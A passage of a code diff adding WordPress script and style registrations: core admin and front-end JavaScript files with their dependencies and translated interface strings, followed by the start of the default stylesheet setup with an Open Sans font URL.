+	$scripts->add( 'user-suggest', "/wp-admin/js/user-suggest$suffix.js", array( 'jquery-ui-autocomplete' ), false, 1 );
+
+	$scripts->add( 'admin-bar', "/wp-includes/js/admin-bar$suffix.js", array(), false, 1 );
+
+	$scripts->add( 'wplink', "/wp-includes/js/wplink$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wplink', 'wpLinkL10n', array(
+		'title' => __('Insert/edit link'),
+		'update' => __('Update'),
+		'save' => __('Add Link'),
+		'noTitle' => __('(no title)'),
+		'noMatchesFound' => __('No results found.'),
+		'linkSelected' => __( 'Link selected.' ),
+		'linkInserted' => __( 'Link inserted.' ),
+	) );
+
+	$scripts->add( 'wpdialogs', "/wp-includes/js/wpdialog$suffix.js", array( 'jquery-ui-dialog' ), false, 1 );
+
+	$scripts->add( 'word-count', "/wp-admin/js/word-count$suffix.js", array(), false, 1 );
+
+	$scripts->add( 'media-upload', "/wp-admin/js/media-upload$suffix.js", array( 'thickbox', 'shortcode' ), false, 1 );
+
+	$scripts->add( 'hoverIntent', "/wp-includes/js/hoverIntent$suffix.js", array('jquery'), '1.8.1', 1 );
+
+	$scripts->add( 'customize-base',     "/wp-includes/js/customize-base$suffix.js",     array( 'jquery', 'json2', 'underscore' ), false, 1 );
+	$scripts->add( 'customize-loader',   "/wp-includes/js/customize-loader$suffix.js",   array( 'customize-base' ), false, 1 );
+	$scripts->add( 'customize-preview',  "/wp-includes/js/customize-preview$suffix.js",  array( 'wp-a11y', 'customize-base' ), false, 1 );
+	$scripts->add( 'customize-models',   "/wp-includes/js/customize-models.js", array( 'underscore', 'backbone' ), false, 1 );
+	$scripts->add( 'customize-views',    "/wp-includes/js/customize-views.js",  array( 'jquery', 'underscore', 'imgareaselect', 'customize-models', 'media-editor', 'media-views' ), false, 1 );
+	$scripts->add( 'customize-controls', "/wp-admin/js/customize-controls$suffix.js", array( 'customize-base', 'wp-a11y', 'wp-util', 'jquery-ui-core' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'customize-controls', '_wpCustomizeControlsL10n', array(
+		'activate'           => __( 'Activate &amp; Publish' ),
+		'save'               => __( 'Save &amp; Publish' ), // @todo Remove as not required.
+		'publish'            => __( 'Publish' ),
+		'published'          => __( 'Published' ),
+		'saveDraft'          => __( 'Save Draft' ),
+		'draftSaved'         => __( 'Draft Saved' ),
+		'updating'           => __( 'Updating' ),
+		'schedule'           => _x( 'Schedule', 'customizer changeset action/button label' ),
+		'scheduled'          => _x( 'Scheduled', 'customizer changeset status' ),
+		'invalid'            => __( 'Invalid' ),
+		'saveBeforeShare'    => __( 'Please save your changes in order to share the preview.' ),
+		'futureDateError'    => __( 'You must supply a future date to schedule.' ),
+		'saveAlert'          => __( 'The changes you made will be lost if you navigate away from this page.' ),
+		'saved'              => __( 'Saved' ),
+		'cancel'             => __( 'Cancel' ),
+		'close'              => __( 'Close' ),
+		'action'             => __( 'Action' ),
+		'discardChanges'     => __( 'Discard changes' ),
+		'cheatin'            => __( 'Something went wrong.' ),
+		'notAllowedHeading'  => __( 'You need a higher level of permission.' ),
+		'notAllowed'         => __( 'Sorry, you are not allowed to customize this site.' ),
+		'previewIframeTitle' => __( 'Site Preview' ),
+		'loginIframeTitle'   => __( 'Session expired' ),
+		'collapseSidebar'    => _x( 'Hide Controls', 'label for hide controls button without length constraints' ),
+		'expandSidebar'      => _x( 'Show Controls', 'label for hide controls button without length constraints' ),
+		'untitledBlogName'   => __( '(Untitled)' ),
+		'unknownRequestFail' => __( 'Looks like something&#8217;s gone wrong. Wait a couple seconds, and then try again.' ),
+		'themeDownloading'   => __( 'Downloading your new theme&hellip;' ),
+		'themePreviewWait'   => __( 'Setting up your live preview. This may take a bit.' ),
+		'revertingChanges'   => __( 'Reverting unpublished changes&hellip;' ),
+		'trashConfirm'       => __( 'Are you sure you&#8217;d like to discard your unpublished changes?' ),
+		/* translators: %s: Display name of the user who has taken over the changeset in customizer. */
+		'takenOverMessage'   => __( '%s has taken over and is currently customizing.' ),
+		/* translators: %s: URL to the Customizer to load the autosaved version */
+		'autosaveNotice'     => __( 'There is a more recent autosave of your changes than the one you are previewing. <a href="%s">Restore the autosave</a>' ),
+		'videoHeaderNotice'  => __( 'This theme doesn&#8217;t support video headers on this page. Navigate to the front page or another page that supports video headers.' ),
+		// Used for overriding the file types allowed in plupload.
+		'allowedFiles'       => __( 'Allowed Files' ),
+		'customCssError'     => array(
+			/* translators: %d: error count */
+			'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ),
+			/* translators: %d: error count */
+			'plural'   => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
+		),
+		'pageOnFrontError' => __( 'Homepage and posts page must be different.' ),
+		'saveBlockedError' => array(
+			/* translators: %s: number of invalid settings */
+			'singular' => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 1 ),
+			/* translators: %s: number of invalid settings */
+			'plural'   => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
+		),
+		'scheduleDescription' => __( 'Schedule your customization changes to publish ("go live") at a future date.' ),
+		'themePreviewUnavailable' => __( 'Sorry, you can&#8217;t preview new themes when you have changes scheduled or saved as a draft. Please publish your changes, or wait until they publish to preview new themes.' ),
+		'themeInstallUnavailable' => sprintf(
+			/* translators: %s: URL to Add Themes admin screen */
+			__( 'You won&#8217;t be able to install new themes from here yet since your install requires SFTP credentials. For now, please <a href="%s">add themes in the admin</a>.' ),
+			esc_url( admin_url( 'theme-install.php' ) )
+		),
+		'publishSettings' => __( 'Publish Settings' ),
+		'invalidDate'     => __( 'Invalid date.' ),
+		'invalidValue'    => __( 'Invalid value.' ),
+	) );
+	$scripts->add( 'customize-selective-refresh', "/wp-includes/js/customize-selective-refresh$suffix.js", array( 'jquery', 'wp-util', 'customize-preview' ), false, 1 );
+
+	$scripts->add( 'customize-widgets', "/wp-admin/js/customize-widgets$suffix.js", array( 'jquery', 'jquery-ui-sortable', 'jquery-ui-droppable', 'wp-backbone', 'customize-controls' ), false, 1 );
+	$scripts->add( 'customize-preview-widgets', "/wp-includes/js/customize-preview-widgets$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 );
+
+	$scripts->add( 'customize-nav-menus', "/wp-admin/js/customize-nav-menus$suffix.js", array( 'jquery', 'wp-backbone', 'customize-controls', 'accordion', 'nav-menu' ), false, 1 );
+	$scripts->add( 'customize-preview-nav-menus', "/wp-includes/js/customize-preview-nav-menus$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 );
+
+	$scripts->add( 'wp-custom-header', "/wp-includes/js/wp-custom-header$suffix.js", array( 'wp-a11y' ), false, 1 );
+
+	$scripts->add( 'accordion', "/wp-admin/js/accordion$suffix.js", array( 'jquery' ), false, 1 );
+
+	$scripts->add( 'shortcode', "/wp-includes/js/shortcode$suffix.js", array( 'underscore' ), false, 1 );
+	$scripts->add( 'media-models', "/wp-includes/js/media-models$suffix.js", array( 'wp-backbone' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'media-models', '_wpMediaModelsL10n', array(
+		'settings' => array(
+			'ajaxurl' => admin_url( 'admin-ajax.php', 'relative' ),
+			'post' => array( 'id' => 0 ),
+		),
+	) );
+
+	$scripts->add( 'wp-embed', "/wp-includes/js/wp-embed$suffix.js" );
+
+	// To enqueue media-views or media-editor, call wp_enqueue_media().
+	// Both rely on numerous settings, styles, and templates to operate correctly.
+	$scripts->add( 'media-views',  "/wp-includes/js/media-views$suffix.js",  array( 'utils', 'media-models', 'wp-plupload', 'jquery-ui-sortable', 'wp-mediaelement', 'wp-api-request' ), false, 1 );
+	$scripts->add( 'media-editor', "/wp-includes/js/media-editor$suffix.js", array( 'shortcode', 'media-views' ), false, 1 );
+	$scripts->add( 'media-audiovideo', "/wp-includes/js/media-audiovideo$suffix.js", array( 'media-editor' ), false, 1 );
+	$scripts->add( 'mce-view', "/wp-includes/js/mce-view$suffix.js", array( 'shortcode', 'jquery', 'media-views', 'media-audiovideo' ), false, 1 );
+
+	$scripts->add( 'wp-api', "/wp-includes/js/wp-api$suffix.js", array( 'jquery', 'backbone', 'underscore', 'wp-api-request' ), false, 1 );
+
+	if ( is_admin() ) {
+		$scripts->add( 'admin-tags', "/wp-admin/js/tags$suffix.js", array( 'jquery', 'wp-ajax-response' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'admin-tags', 'tagsl10n', array(
+			'noPerm' => __('Sorry, you are not allowed to do that.'),
+			'broken' => __('Something went wrong.')
+		));
+
+		$scripts->add( 'admin-comments', "/wp-admin/js/edit-comments$suffix.js", array('wp-lists', 'quicktags', 'jquery-query'), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'admin-comments', 'adminCommentsL10n', array(
+			'hotkeys_highlight_first' => isset($_GET['hotkeys_highlight_first']),
+			'hotkeys_highlight_last' => isset($_GET['hotkeys_highlight_last']),
+			'replyApprove' => __( 'Approve and Reply' ),
+			'reply' => __( 'Reply' ),
+			'warnQuickEdit' => __( "Are you sure you want to edit this comment?\nThe changes you made will be lost." ),
+			'warnCommentChanges' => __( "Are you sure you want to do this?\nThe comment changes you made will be lost." ),
+			'docTitleComments' => __( 'Comments' ),
+			/* translators: %s: comments count */
+			'docTitleCommentsCount' => __( 'Comments (%s)' ),
+		) );
+
+		$scripts->add( 'xfn', "/wp-admin/js/xfn$suffix.js", array('jquery'), false, 1 );
+		did_action( 'init' ) && $scripts->localize(
+			'xfn', 'privacyToolsL10n', array(
+				'noDataFound'     => __( 'No personal data was found for this user.' ),
+				'foundAndRemoved' => __( 'All of the personal data found for this user was erased.' ),
+				'noneRemoved'     => __( 'Personal data was found for this user but was not erased.' ),
+				'someNotRemoved'  => __( 'Personal data was found for this user but some of the personal data found was not erased.' ),
+				'removalError'    => __( 'An error occurred while attempting to find and erase personal data.' ),
+				'noExportFile'    => __( 'No personal data export file was generated.' ),
+				'exportError'     => __( 'An error occurred while attempting to export personal data.' ),
+			)
+		);
+
+		$scripts->add( 'postbox', "/wp-admin/js/postbox$suffix.js", array('jquery-ui-sortable'), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'postbox', 'postBoxL10n', array(
+			'postBoxEmptyString' => __( 'Drag boxes here' ),
+		) );
+
+		$scripts->add( 'tags-box', "/wp-admin/js/tags-box$suffix.js", array( 'jquery', 'tags-suggest' ), false, 1 );
+
+		$scripts->add( 'tags-suggest', "/wp-admin/js/tags-suggest$suffix.js", array( 'jquery-ui-autocomplete', 'wp-a11y' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'tags-suggest', 'tagsSuggestL10n', array(
+			'tagDelimiter' => _x( ',', 'tag delimiter' ),
+			'removeTerm'   => __( 'Remove term:' ),
+			'termSelected' => __( 'Term selected.' ),
+			'termAdded'    => __( 'Term added.' ),
+			'termRemoved'  => __( 'Term removed.' ),
+		) );
+
+		$scripts->add( 'post', "/wp-admin/js/post$suffix.js", array( 'suggest', 'wp-lists', 'postbox', 'tags-box', 'underscore', 'word-count', 'wp-a11y' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'post', 'postL10n', array(
+			'ok' => __('OK'),
+			'cancel' => __('Cancel'),
+			'publishOn' => __('Publish on:'),
+			'publishOnFuture' =>  __('Schedule for:'),
+			'publishOnPast' => __('Published on:'),
+			/* translators: 1: month, 2: day, 3: year, 4: hour, 5: minute */
+			'dateFormat' => __('%1$s %2$s, %3$s @ %4$s:%5$s'),
+			'showcomm' => __('Show more comments'),
+			'endcomm' => __('No more comments found.'),
+			'publish' => __('Publish'),
+			'schedule' => _x('Schedule', 'post action/button label'),
+			'update' => __('Update'),
+			'savePending' => __('Save as Pending'),
+			'saveDraft' => __('Save Draft'),
+			'private' => __('Private'),
+			'public' => __('Public'),
+			'publicSticky' => __('Public, Sticky'),
+			'password' => __('Password Protected'),
+			'privatelyPublished' => __('Privately Published'),
+			'published' => __('Published'),
+			'saveAlert' => __('The changes you made will be lost if you navigate away from this page.'),
+			'savingText' => __('Saving Draft&#8230;'),
+			'permalinkSaved' => __( 'Permalink saved' ),
+		) );
+
+		$scripts->add( 'editor-expand', "/wp-admin/js/editor-expand$suffix.js", array( 'jquery', 'underscore' ), false, 1 );
+
+		$scripts->add( 'link', "/wp-admin/js/link$suffix.js", array( 'wp-lists', 'postbox' ), false, 1 );
+
+		$scripts->add( 'comment', "/wp-admin/js/comment$suffix.js", array( 'jquery', 'postbox' ) );
+		$scripts->add_data( 'comment', 'group', 1 );
+		did_action( 'init' ) && $scripts->localize( 'comment', 'commentL10n', array(
+			'submittedOn' => __( 'Submitted on:' ),
+			/* translators: 1: month, 2: day, 3: year, 4: hour, 5: minute */
+			'dateFormat' => __( '%1$s %2$s, %3$s @ %4$s:%5$s' )
+		) );
+
+		$scripts->add( 'admin-gallery', "/wp-admin/js/gallery$suffix.js", array( 'jquery-ui-sortable' ) );
+
+		$scripts->add( 'admin-widgets', "/wp-admin/js/widgets$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable' ), false, 1 );
+		did_action( 'init' ) && $scripts->add_inline_script( 'admin-widgets', sprintf( 'wpWidgets.l10n = %s;', wp_json_encode( array(
+			'save' => __( 'Save' ),
+			'saved' => __( 'Saved' ),
+			'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ),
+		) ) ) );
+
+		$scripts->add( 'media-widgets', "/wp-admin/js/widgets/media-widgets$suffix.js", array( 'jquery', 'media-models', 'media-views', 'wp-api-request' ) );
+		$scripts->add_inline_script( 'media-widgets', 'wp.mediaWidgets.init();', 'after' );
+
+		$scripts->add( 'media-audio-widget', "/wp-admin/js/widgets/media-audio-widget$suffix.js", array( 'media-widgets', 'media-audiovideo' ) );
+		$scripts->add( 'media-image-widget', "/wp-admin/js/widgets/media-image-widget$suffix.js", array( 'media-widgets' ) );
+		$scripts->add( 'media-gallery-widget', "/wp-admin/js/widgets/media-gallery-widget$suffix.js", array( 'media-widgets' ) );
+		$scripts->add( 'media-video-widget', "/wp-admin/js/widgets/media-video-widget$suffix.js", array( 'media-widgets', 'media-audiovideo', 'wp-api-request' ) );
+		$scripts->add( 'text-widgets', "/wp-admin/js/widgets/text-widgets$suffix.js", array( 'jquery', 'backbone', 'editor', 'wp-util', 'wp-a11y' ) );
+		$scripts->add( 'custom-html-widgets', "/wp-admin/js/widgets/custom-html-widgets$suffix.js", array( 'jquery', 'backbone', 'wp-util', 'jquery-ui-core', 'wp-a11y' ) );
+
+		$scripts->add( 'theme', "/wp-admin/js/theme$suffix.js", array( 'wp-backbone', 'wp-a11y', 'customize-base' ), false, 1 );
+
+		$scripts->add( 'inline-edit-post', "/wp-admin/js/inline-edit-post$suffix.js", array( 'jquery', 'tags-suggest', 'wp-a11y' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'inline-edit-post', 'inlineEditL10n', array(
+			'error'      => __( 'Error while saving the changes.' ),
+			'ntdeltitle' => __( 'Remove From Bulk Edit' ),
+			'notitle'    => __( '(no title)' ),
+			'comma'      => trim( _x( ',', 'tag delimiter' ) ),
+			'saved'      => __( 'Changes saved.' ),
+		) );
+
+		$scripts->add( 'inline-edit-tax', "/wp-admin/js/inline-edit-tax$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'inline-edit-tax', 'inlineEditL10n', array(
+			'error' => __( 'Error while saving the changes.' ),
+			'saved' => __( 'Changes saved.' ),
+		) );
+
+		$scripts->add( 'plugin-install', "/wp-admin/js/plugin-install$suffix.js", array( 'jquery', 'jquery-ui-core', 'thickbox' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'plugin-install', 'plugininstallL10n', array(
+			'plugin_information' => __( 'Plugin:' ),
+			'plugin_modal_label' => __( 'Plugin details' ),
+			'ays' => __('Are you sure you want to install this plugin?')
+		) );
+
+		$scripts->add( 'updates', "/wp-admin/js/updates$suffix.js", array( 'jquery', 'wp-util', 'wp-a11y' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'updates', '_wpUpdatesSettings', array(
+			'ajax_nonce' => wp_create_nonce( 'updates' ),
+			'l10n'       => array(
+				/* translators: %s: Search string */
+				'searchResults'              => __( 'Search results for &#8220;%s&#8221;' ),
+				'searchResultsLabel'         => __( 'Search Results' ),
+				'noPlugins'                  => __( 'You do not appear to have any plugins available at this time.' ),
+				'noItemsSelected'            => __( 'Please select at least one item to perform this action on.' ),
+				'updating'                   => __( 'Updating...' ), // No ellipsis.
+				'pluginUpdated'              => _x( 'Updated!', 'plugin' ),
+				'themeUpdated'               => _x( 'Updated!', 'theme' ),
+				'update'                     => __( 'Update' ),
+				'updateNow'                  => __( 'Update Now' ),
+				/* translators: %s: Plugin name and version */
+				'pluginUpdateNowLabel'       => _x( 'Update %s now', 'plugin' ),
+				'updateFailedShort'          => __( 'Update Failed!' ),
+				/* translators: %s: Error string for a failed update */
+				'updateFailed'               => __( 'Update Failed: %s' ),
+				/* translators: %s: Plugin name and version */
+				'pluginUpdatingLabel'        => _x( 'Updating %s...', 'plugin' ), // No ellipsis.
+				/* translators: %s: Plugin name and version */
+				'pluginUpdatedLabel'         => _x( '%s updated!', 'plugin' ),
+				/* translators: %s: Plugin name and version */
+				'pluginUpdateFailedLabel'    => _x( '%s update failed', 'plugin' ),
+				/* translators: Accessibility text */
+				'updatingMsg'                => __( 'Updating... please wait.' ), // No ellipsis.
+				/* translators: Accessibility text */
+				'updatedMsg'                 => __( 'Update completed successfully.' ),
+				/* translators: Accessibility text */
+				'updateCancel'               => __( 'Update canceled.' ),
+				'beforeunload'               => __( 'Updates may not complete if you navigate away from this page.' ),
+				'installNow'                 => __( 'Install Now' ),
+				/* translators: %s: Plugin name */
+				'pluginInstallNowLabel'      => _x( 'Install %s now', 'plugin' ),
+				'installing'                 => __( 'Installing...' ),
+				'pluginInstalled'            => _x( 'Installed!', 'plugin' ),
+				'themeInstalled'             => _x( 'Installed!', 'theme' ),
+				'installFailedShort'         => __( 'Installation Failed!' ),
+				/* translators: %s: Error string for a failed installation */
+				'installFailed'              => __( 'Installation failed: %s' ),
+				/* translators: %s: Plugin name and version */
+				'pluginInstallingLabel'      => _x( 'Installing %s...', 'plugin' ), // no ellipsis
+				/* translators: %s: Theme name and version */
+				'themeInstallingLabel'       => _x( 'Installing %s...', 'theme' ), // no ellipsis
+				/* translators: %s: Plugin name and version */
+				'pluginInstalledLabel'       => _x( '%s installed!', 'plugin' ),
+				/* translators: %s: Theme name and version */
+				'themeInstalledLabel'        => _x( '%s installed!', 'theme' ),
+				/* translators: %s: Plugin name and version */
+				'pluginInstallFailedLabel'   => _x( '%s installation failed', 'plugin' ),
+				/* translators: %s: Theme name and version */
+				'themeInstallFailedLabel'    => _x( '%s installation failed', 'theme' ),
+				'installingMsg'              => __( 'Installing... please wait.' ),
+				'installedMsg'               => __( 'Installation completed successfully.' ),
+				/* translators: %s: Activation URL */
+				'importerInstalledMsg'       => __( 'Importer installed successfully. <a href="%s">Run importer</a>' ),
+				/* translators: %s: Theme name */
+				'aysDelete'                  => __( 'Are you sure you want to delete %s?' ),
+				/* translators: %s: Plugin name */
+				'aysDeleteUninstall'         => __( 'Are you sure you want to delete %s and its data?' ),
+				'aysBulkDelete'              => __( 'Are you sure you want to delete the selected plugins and their data?' ),
+				'aysBulkDeleteThemes'        => __( 'Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?' ),
+				'deleting'                   => __( 'Deleting...' ),
+				/* translators: %s: Error string for a failed deletion */
+				'deleteFailed'               => __( 'Deletion failed: %s' ),
+				'pluginDeleted'              => _x( 'Deleted!', 'plugin' ),
+				'themeDeleted'               => _x( 'Deleted!', 'theme' ),
+				'livePreview'                => __( 'Live Preview' ),
+				'activatePlugin'             => is_network_admin() ? __( 'Network Activate' ) : __( 'Activate' ),
+				'activateTheme'              => is_network_admin() ? __( 'Network Enable' ) : __( 'Activate' ),
+				/* translators: %s: Plugin name */
+				'activatePluginLabel'        => is_network_admin() ? _x( 'Network Activate %s', 'plugin' ) : _x( 'Activate %s', 'plugin' ),
+				/* translators: %s: Theme name */
+				'activateThemeLabel'         => is_network_admin() ? _x( 'Network Activate %s', 'theme' ) : _x( 'Activate %s', 'theme' ),
+				'activateImporter'           => __( 'Run Importer' ),
+				/* translators: %s: Importer name */
+				'activateImporterLabel'      => __( 'Run %s' ),
+				'unknownError'               => __( 'Something went wrong.' ),
+				'connectionError'            => __( 'Connection lost or the server is busy. Please try again later.' ),
+				'nonceError'                 => __( 'An error has occurred. Please reload the page and try again.' ),
+				'pluginsFound'               => __( 'Number of plugins found: %d' ),
+				'noPluginsFound'             => __( 'No plugins found. Try a different search.' ),
+			),
+		) );
+
+		$scripts->add( 'farbtastic', '/wp-admin/js/farbtastic.js', array('jquery'), '1.2' );
+
+		$scripts->add( 'iris', '/wp-admin/js/iris.min.js', array( 'jquery-ui-draggable', 'jquery-ui-slider', 'jquery-touch-punch' ), '1.0.7', 1 );
+		$scripts->add( 'wp-color-picker', "/wp-admin/js/color-picker$suffix.js", array( 'iris' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'wp-color-picker', 'wpColorPickerL10n', array(
+			'clear'            => __( 'Clear' ),
+			'clearAriaLabel'   => __( 'Clear color' ),
+			'defaultString'    => __( 'Default' ),
+			'defaultAriaLabel' => __( 'Select default color' ),
+			'pick'             => __( 'Select Color' ),
+			'defaultLabel'     => __( 'Color value' ),
+		) );
+
+		$scripts->add( 'dashboard', "/wp-admin/js/dashboard$suffix.js", array( 'jquery', 'admin-comments', 'postbox', 'wp-util', 'wp-a11y' ), false, 1 );
+
+		$scripts->add( 'list-revisions', "/wp-includes/js/wp-list-revisions$suffix.js" );
+
+		$scripts->add( 'media-grid', "/wp-includes/js/media-grid$suffix.js", array( 'media-editor' ), false, 1 );
+		$scripts->add( 'media', "/wp-admin/js/media$suffix.js", array( 'jquery' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'media', 'attachMediaBoxL10n', array(
+			'error' => __( 'An error has occurred. Please reload the page and try again.' ),
+		));
+
+		$scripts->add( 'image-edit', "/wp-admin/js/image-edit$suffix.js", array('jquery', 'json2', 'imgareaselect'), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'image-edit', 'imageEditL10n', array(
+			'error' => __( 'Could not load the preview image. Please reload the page and try again.' )
+		));
+
+		$scripts->add( 'set-post-thumbnail', "/wp-admin/js/set-post-thumbnail$suffix.js", array( 'jquery' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'set-post-thumbnail', 'setPostThumbnailL10n', array(
+			'setThumbnail' => __( 'Use as featured image' ),
+			'saving' => __( 'Saving...' ), // no ellipsis
+			'error' => __( 'Could not set that as the thumbnail image. Try a different attachment.' ),
+			'done' => __( 'Done' )
+		) );
+
+		// Navigation Menus
+		$scripts->add( 'nav-menu', "/wp-admin/js/nav-menu$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-lists', 'postbox', 'json2' ) );
+		did_action( 'init' ) && $scripts->localize( 'nav-menu', 'navMenuL10n', array(
+			'noResultsFound' => __( 'No results found.' ),
+			'warnDeleteMenu' => __( "You are about to permanently delete this menu. \n 'Cancel' to stop, 'OK' to delete." ),
+			'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ),
+			'untitled' => _x( '(no label)', 'missing menu item navigation label' )
+		) );
+
+		$scripts->add( 'custom-header', "/wp-admin/js/custom-header.js", array( 'jquery-masonry' ), false, 1 );
+		$scripts->add( 'custom-background', "/wp-admin/js/custom-background$suffix.js", array( 'wp-color-picker', 'media-views' ), false, 1 );
+		$scripts->add( 'media-gallery', "/wp-admin/js/media-gallery$suffix.js", array('jquery'), false, 1 );
+
+		$scripts->add( 'svg-painter', '/wp-admin/js/svg-painter.js', array( 'jquery' ), false, 1 );
+	}
+}
+
+/**
+ * Assign default styles to $styles object.
+ *
+ * Nothing is returned, because the $styles parameter is passed by reference.
+ * Meaning that whatever object is passed will be updated without having to
+ * reassign the variable that was passed back to the same value. This saves
+ * memory.
+ *
+ * Adding default styles is not the only task, it also assigns the base_url
+ * property, the default version, and text direction for the object.
+ *
+ * @since 2.6.0
+ *
+ * @param WP_Styles $styles
+ */
+function wp_default_styles( &$styles ) {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	if ( ! defined( 'SCRIPT_DEBUG' ) )
+		define( 'SCRIPT_DEBUG', false !== strpos( $wp_version, '-src' ) );
+
+	if ( ! $guessurl = site_url() )
+		$guessurl = wp_guess_url();
+
+	$styles->base_url = $guessurl;
+	$styles->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : '';
+	$styles->default_version = get_bloginfo( 'version' );
+	$styles->text_direction = function_exists( 'is_rtl' ) && is_rtl() ? 'rtl' : 'ltr';
+	$styles->default_dirs = array('/wp-admin/', '/wp-includes/css/');
+
+	// Open Sans is no longer used by core, but may be relied upon by themes and plugins.
+	$open_sans_font_url = '';
+
+	/* translators: If there are characters in your language that are not supported
+	 * by Open Sans, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Open Sans font: on or off' ) ) {
+		$subsets = 'latin,latin-ext';
+
+		/* translators: To add an additional Open Sans character subset specific to your language,
+		 * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language.
+		 */
+		$subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)' );
+
+		if ( 'cyrillic' == $subset ) {
+			$subsets .= ',cyrillic,cyrillic-ext';
+		} elseif ( 'greek' == $subset ) {
+			$subsets .= ',greek,greek-ext';
+		} elseif ( 'vietnamese' == $subset ) {
+			$subsets .= ',vietnamese';
+		}
+
+		// Hotlink Open Sans, for now
+		$open_sans_font_url = "https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=$subsets";
+	}
+
+	// Register a stylesheet for the selected admin color scheme.
+	$styles->add( 'colors', true, array( 'wp-admin', 'buttons' ) );
+
+	$suffix = SCRIPT_DEBUG ? '' : '.min';
+
+	// Admin CSS
+	$styles->add( 'common',              "/wp-admin/css/common$suffix.css" );
+	$styles->add( 'forms',               "/wp-admin/css/forms$suffix.css" );
+	$styles->add( 'admin-menu',          "/wp-admin/css/admin-menu$suffix.css" );
+	$styles->add( 'dashboard',           "/wp-admin/css/dashboard$suffix.css" );
+	$styles->add( 'list-tables',         "/wp-admin/css/list-tables$suffix.css" );
+	$styles->add( 'edit',                "/wp-admin/css/edit$suffix.css" );
+	$styles->add( 'revisions',           "/wp-admin/css/revisions$suffix.css" );
+	$styles->add( 'media',               "/wp-admin/css/media$suffix.css" );
+	$styles->add( 'themes',              "/wp-admin/css/themes$suffix.css" );
+	$styles->add( 'about',               "/wp-admin/css/about$suffix.css" );
+	$styles->add( 'nav-menus',           "/wp-admin/css/nav-menus$suffix.css" );
+	$styles->add( 'widgets',             "/wp-admin/css/widgets$suffix.css", array( 'wp-pointer' ) );
+	$styles->add( 'site-icon',           "/wp-admin/css/site-icon$suffix.css" );
+	$styles->add( 'l10n',                "/wp-admin/css/l10n$suffix.css" );
+	$styles->add( 'code-editor',         "/wp-admin/css/code-editor$suffix.css", array( 'wp-codemirror' ) );
+
+	$styles->add( 'wp-admin', false, array( 'dashicons', 'common', 'forms', 'admin-menu', 'dashboard', 'list-tables', 'edit', 'revisions', 'media', 'themes', 'about', 'nav-menus', 'widgets', 'site-icon', 'l10n' ) );
+
+	$styles->add( 'login',               "/wp-admin/css/login$suffix.css", array( 'dashicons', 'buttons', 'forms', 'l10n' ) );
+	$styles->add( 'install',             "/wp-admin/css/install$suffix.css", array( 'buttons' ) );
+	$styles->add( 'wp-color-picker',     "/wp-admin/css/color-picker$suffix.css" );
+	$styles->add( 'customize-controls',  "/wp-admin/css/customize-controls$suffix.css", array( 'wp-admin', 'colors', 'ie', 'imgareaselect' ) );
+	$styles->add( 'customize-widgets',   "/wp-admin/css/customize-widgets$suffix.css", array( 'wp-admin', 'colors' ) );
+	$styles->add( 'customize-nav-menus', "/wp-admin/css/customize-nav-menus$suffix.css", array( 'wp-admin', 'colors' ) );
+
+	$styles->add( 'ie', "/wp-admin/css/ie$suffix.css" );
+	$styles->add_data( 'ie', 'conditional', 'lte IE 7' );
+
+	// Common dependencies
+	$styles->add( 'buttons',   "/wp-includes/css/buttons$suffix.css" );
+	$styles->add( 'dashicons', "/wp-includes/css/dashicons$suffix.css" );
+
+	// Includes CSS
+	$styles->add( 'admin-bar',            "/wp-includes/css/admin-bar$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'wp-auth-check',        "/wp-includes/css/wp-auth-check$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'editor-buttons',       "/wp-includes/css/editor$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'media-views',          "/wp-includes/css/media-views$suffix.css", array( 'buttons', 'dashicons', 'wp-mediaelement' ) );
+	$styles->add( 'wp-pointer',           "/wp-includes/css/wp-pointer$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'customize-preview',    "/wp-includes/css/customize-preview$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'wp-embed-template-ie', "/wp-includes/css/wp-embed-template-ie$suffix.css" );
+	$styles->add_data( 'wp-embed-template-ie', 'conditional', 'lte IE 8' );
+
